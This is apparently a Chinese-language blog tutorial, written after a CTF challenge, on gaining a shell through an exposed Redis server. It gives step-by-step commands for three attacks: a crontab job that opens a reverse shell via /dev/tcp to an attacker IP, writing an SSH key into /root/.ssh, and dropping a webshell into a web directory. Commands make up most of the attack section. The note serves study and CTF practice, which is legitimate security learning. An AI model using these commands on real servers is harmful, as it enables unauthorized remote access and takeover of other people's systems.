之前做杭电的hgame的时候有一道ssrf打sql的题,当时找资料的时候倒是很多ssrf打redis的东西,这次学习一下吧,顺便总结一下
概述
首先redis是个非关系型数据库,然后redis更偏向于memcache一点,它是一个key-value型的数据库,信息以键值形式存在内存中。当然你也可以用save把它存至硬盘,这个时候就可能会getshell了 几种简单的方法
1.通过向web目录写webshell来getshell 2.写ssh-key来getshell 3.写crontab来getshell
当然,这些攻击都包含一些要求,比如当前用户的权限,目录权限,web目录是否已知等,怎么利用还是看具体场合
redis服务器搭建
第1步:redis服务的下载
1 | wget http://download.redis.io/releases/redis-4.0.9.tar.gz |
第2步:redis解压、编译
1 | tar -zxvf redis-4.0.9.tar.gz |
第3步:启动redis服务 新版本的redis默认监听本地,我们可以改成0.0.0.0
1 | vim redis.conf |
然后启动服务
1 | redis-server /root/redis-4.0.9/redis.conf |
攻击
首先都是用redis客户端连接
1 | redis-cli.exe -h 192.168.182.128 -p 6379 |
crontabs攻击
1.设置文件夹路径
1 | config set dir /var/spool/cron/crontabs |
2.修改备份的文件的名称
1 | config set dbfilename root |
3.设置计划任务
1 | set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/198.xx.xx.xxx/9999 0>&1\n\n\n" |
4.保存
1 | save |
然后上服务器监听就ok了 不过这种方式我并没有getshell过,原因位置,后续再慢慢看吧...
写sshkey来getshell
1.生产密钥
1 | ssh-keygen |
选rsa,认证自己定,然后
1 | (echo -e "\n\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n\n") > pub.txt |
2.将密钥写到服务器
1 | config set dir /root/.ssh/ |
这里的xxx就是pub.txt里面的东西,其实可以直接copy 一下id_rsa.pub里面的东西,然后前后加回车即可。 3.连接就ok了
1 | ssh -i id_rsa root@xxx.xxx.xxx.xxx |
写webshell
一样的原理 不过限制就是:要求web目录已知,而且当前用户在目录有写权限
1 | config set dir /var/www/test.com/html/ |
这里先把redis下的攻击方式写一下,后续应该还会分析一下phithon的那篇ssrf和python的博客。 参考链接: http://foreversong.cn/archives/1180 Adog-redis在渗透测试中的利用 https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html phithon-利用redis写webshell https://lorexxar.cn/2016/12/03/redis-getshell/ Lorexxar-通过redis getshell的一些小问题